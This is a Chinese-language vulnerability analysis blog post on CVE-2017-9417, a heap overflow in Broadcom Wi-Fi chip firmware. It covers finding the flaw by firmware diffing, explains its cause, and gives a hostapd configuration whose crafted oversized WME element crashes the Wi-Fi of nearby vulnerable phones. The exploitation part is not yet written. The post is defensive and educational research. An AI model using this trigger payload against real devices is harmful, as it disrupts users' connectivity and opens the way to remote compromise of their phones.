BROADCOM WI-FI芯片漏洞分析二


文章目录
  1. 1. 前言
  2. 2. 切入主题
  3. 3. CVE-2017-9417漏洞分析
    1. 3.1. 分析ROM固件找到漏洞
    2. 3.2. 漏洞成因
    3. 3.3. 触发漏洞
    4. 3.4. 漏洞利用
  4. 4. 参考链接

前言

上一篇文章写过之后又修改了一部分内容,加了很多细节。不过还有一点没有详细说明,具体怎么定位到漏洞函数。这里再进行定位流程详细梳理。
1、首先是定位到帧提取函数
2、这个定位方式根据Project Zero的提示参考到bcm_parse_tlvs源码,然后在这部分源码中找到明显字符串,这里我找到的是“%04”,在rom.bin中字符串参考可以找到字符串位置。然后仔细看上下一些函数就能找到我们需要的bcm_parse_tlvs函数。上篇文章已经给出了具体伪代码示例。这里就不再赘述。
3、定位到函数之后我们可以根据Project Zero 提供的高级逻辑在ida中定位到相关位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
uint8_t* buffer = malloc(256);
uint8_t* pos = buffer;
//Copying the initial (static) information
uint8_t* linkid_ie = bcm_parse_tlvs(..., 101);
memcpy(pos, linkid_ie + 0x8, 0x6); pos += 0x6; //Initiator MAC
memcpy(pos, linkid_ie + 0xE, 0x6); pos += 0x6; //Responder MAC
*pos = transaction_seq; pos++; //TransactionSeq
memcpy(pos, linkid_ie, 0x14); pos += 0x14; //LinkID-IE
//Copying the RSN IE
uint8_t* rsn_ie = bcm_parse_tlvs(..., 48);
if (rsn_ie[1] + 2 + (pos - buffer) > 0xFF) {
... //Handle overflow
}
memcpy(pos, rsn_ie, rsn_ie[1] + 2); pos += rsn_ie[1] + 2; //RSN-IE
//Copying the remaining IEs
uint8_t* timeout_ie = bcm_parse_tlvs(..., 56);
uint8_t* ft_ie = bcm_parse_tlvs(..., 55);
memcpy(pos, timeout_ie, 0x7); pos += 0x7; //Timeout Interval IE
memcpy(pos, ft_ie, 0x54); pos += 0x54; //Fast-Transition IE

到这里就不再继续解释了。如果还有地方不清楚可以提出疑问。

切入主题

1、本篇文章主要核心是侧重CVE-2017-9417的漏洞分析和利用。
2、涉及到的相关知识将以链接形式详细给出

CVE-2017-9417漏洞分析

分析ROM固件找到漏洞

1、一种方式是七月分打过补丁的Rom固件跟六月份没打补丁的利用 BinDiff (安装到IDA目录下在IDA中以插件形式执行,Crtl+6使用)对比,看修改了哪个补丁。最后可以找到漏洞函数wlc_bss_parse_wme_ie。这个函数用来处理关联、重新关联和信标包。这些信标包包含信息元素,包含Wi-Fi标准扩展的数据。每个信息元素(IE)的格式是:
type (1 byte), length (1 byte), data of (length) bytes
2、这个函数功能用来处理服务质量扩展的WME信息元素。下图是WME信息元素的格式:
img
3、定位漏洞函数
· bindiff对比6月份补丁跟7月份补丁的差异
· 第一步:将两个补丁版本都dump下来。
· 第二步:安装bindiff 到 ida 目录。安装方式,这里提供windows下安装包bindiff
· 第三步:先用ida打开7月份补丁,分析固件补丁时要注意它在内存中的存储位置,在上篇文章中我们提到ram在安卓系统内存中加载起始地址在0x180000.所以我们需要在ida加载时手动设置加载起始位置。并将分析好的数据保存数据库idb文件来方便我们跟6月份版本做对比。具体配置如下:
img
img
· 第四步:同样方式打开6月份补丁文件,Crtl+6启动bindiff插件,选择我们上一步保存的idb文件,可以对比分析两个版本有什么不同。
跟踪到造成漏洞的函数。
img
img

漏洞成因

·该函数在关联/重新关联响应帧部分出现bug,它将接收到的ie复制到24(0x18)字节长的预分配缓冲区,大小适合最大的有效WME信息元素长度,但是使用信息元素头的长度可以高达255(0xff),创建一个堆在外边界写入231个字节,可造成溢出。 分析wlc_bss_parse_wme_ie漏洞函数。
assocresp_ies数据
img
分析数据包信息大致理解关联帧IE的0x0c头部信息暂时理解为特定供应商标签。
img
如下图比较可以看到修补bug前,没有对wme大小进行校验直接拷贝到预分配的缓冲区。
img
缓冲区分配ida中参考在这里

触发漏洞

这个bug很容易复现,因为最新版的Hostapd 支持自定义信息元素。
hostapd 安装:链接

  1. 下载hostapd到ubuntu 14.04
  2. 解压hostapd
  3. 配置hostapd,使它编译为支持nl80211驱动
    cp defconfig .config
    vi .config #找到“#CONFIG_DRIVER_NL80211=y”,去掉“#”符号。保存。
  4. make #编译hostapd ,编译过程会报错,是因为缺少libnl库
    img
    解决方法:下载并编译安装libnl 可以到主页下载:http://www.infradead.org/~tgr/libnl/,也可以使用Git下载:
    1
    2
    3
    4
    5
    git clone git://github.com/tgraf/libnl-1.1-stable.git
    cd libnl-1.1-stable
    ./configure
    make
    sudo make install

5、make编译
img
在启动hostapd时指定配置文件
1、新建配置文件 在/etc/目录新建一个文件hostapd.conf
2、配置文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# WiFi Hotspot
interface=wlan0
driver=nl80211
#Access Point
ssid=YourNetworkNameHere
hw_mode=g
# WiFi Channel:
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
assocresp_elements=ddff0050f2020101000003a4000027a4000042435e0062322f00414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141
vendor_elements=ddff0050f2020101000003a4000027a4000042435e0062322f00414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141

1.interface:接入点设备名称,注意不要包含ap后缀,即如果该设备称为wlan0ap,填写wlan0即可;
2.driver:设定无线驱动,我这里是nl80211;
3.ssid: 设置名字(SSID = service set identifier) ,老版本(iwconfig)叫”essid”.
4.hw_mode: 设置操作mode,channels.有效的值取决于硬件,通常:a, b, g. ‘g’大多数都支持, 并向前兼容802.11b
5.channel:设置hostapd操作的channel.
6.ignore_broadcast_ssid: 开启或禁用广播ssid.
7.macaddr_acl: MAC地址过滤. .
8.auth_algs: 指定采用哪种认证算法,采用位域(bit fields)方式来制定,其中第一位表示开放系统认证(Open System Authentication, OSA),第二位表示共享密钥认证(Shared Key Authentication, SKA)。我这里设置alth_algs的值为1,表示只采用OSA;如果为3则两种认证方式都支持。 9.assocresp_elements:关联响应帧的附加供应商特定信息(翻译过来中文参考,不确定是否正确) 10.vendor_elements:信标和探测响应帧的附加供应商特定元素(翻译过来中文参考,不确定是否正确)
3、启动 hostpad
1.启动

1
sudo ./hostapd -B /etc/hostapd.conf

2.启动过程如果出现“Interface wlan0 wasn’t started”错误,先运行下面2行命令

1
2
sudo nmcli nm wifi off
sudo rfkill unblock wlan

然后继续执行

1
sudo ./hostapd -B /etc/hostapd.conf

3.目标手机连上指定开启的wifi名称为“YourNetworkNameHere”的wifi,即可看到漏洞被触发,wifi重启。

漏洞利用

前面已经了解了漏洞的成因,和简单复现了漏洞。接下来我们要做的是利用漏洞做些事情。后续继续分析将详细给出exploit的编写方法。

参考链接

1、Ubuntu上编译hostapd:http://blog.csdn.net/hnllc2012/article/details/49151137
2、博客参考:http://boosterok.com/blog/broadpwn1/